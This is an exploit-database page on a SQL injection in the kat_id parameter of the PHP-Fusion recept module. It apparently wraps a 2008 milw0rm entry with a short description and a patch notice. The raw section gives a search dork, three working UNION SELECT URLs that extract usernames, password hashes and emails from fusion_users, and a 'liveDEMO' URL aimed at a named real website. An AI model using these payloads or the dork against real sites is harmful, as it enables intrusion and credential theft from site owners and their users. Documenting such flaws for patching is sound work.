PHP-Fusion Mod recept (kat_id) Remote SQL Injection Vulnerability

vendor:

Mod recept (kat_id)

by:

boom3rang

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Mod recept (kat_id)

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

PHP-Fusion Mod recept (kat_id) Remote SQL Injection Vulnerability

A remote SQL injection vulnerability exists in the PHP-Fusion Mod recept (kat_id) module. An attacker can exploit this vulnerability to gain access to sensitive information such as usernames, passwords, and emails. The vulnerability is caused by improper sanitization of user-supplied input in the 'kat_id' parameter of the 'recept.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing malicious SQL statements to the vulnerable script.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should upgrade to the latest version of the software.

Source

Exploit-DB raw data:

########################################################
PHP-Fusion Mod recept (kat_id) Remote SQL Injection Vulnerability
########################################################

++++++++++++++++++++++++++++
Author :         boom3rang
webpage :    www.khg-crew.ws
greetz :    H!tm@N, KHG, chs, redc00de, pr0xy-ki11er - [-=Kosova Hackers Group-=]
++++++++++++++++++++++++++++


[+] Dork:     infusions/recept/recept.php?

[+] Example:         http://localhost/infusions/recept/recept.php?click=kategorier&kat_id=[ exploit ]

[+] Exploit
--------------------------------
username:
http://localhost/infusions/recept/recept.php?click=kategorier&kat_id=-9999%27+and+1=2+union+all+select+1,2,user_name,4,5,6,7+from+fusion_users--+

password: 
http://localhost/infusions/recept/recept.php?click=kategorier&kat_id=-9999%27+and+1=2+union+all+select+1,2,user_password,4,5,6,7+from+fusion_users--+

email:
http://localhost/infusions/recept/recept.php?click=kategorier&kat_id=-9999%27+and+1=2+union+all+select+1,2,user_email,4,5,6,7+from+fusion_users--+
--------------------------------


[+] liveDEMO: 

http://usmalayali.com/infusions/recept/recept.php?click=kategorier&kat_id=-9999%27+and+1=2+union+all+select+1,2,user_password,4,5,6,7+from+fusion_users--+


============================
+Proud 2 be Albanian
+Proud 2 be Muslim
+United States of Albania
============================

# milw0rm.com [2008-10-05]